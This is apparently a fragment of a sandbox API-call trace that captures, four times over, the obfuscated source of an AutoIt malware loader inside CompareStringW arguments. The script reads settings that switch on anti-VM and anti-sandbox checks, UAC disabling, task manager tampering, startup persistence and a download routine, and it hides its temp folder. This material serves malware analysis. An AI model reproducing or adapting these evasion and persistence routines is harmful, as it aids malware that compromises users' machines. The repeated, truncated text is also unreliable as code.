IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D79567", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = 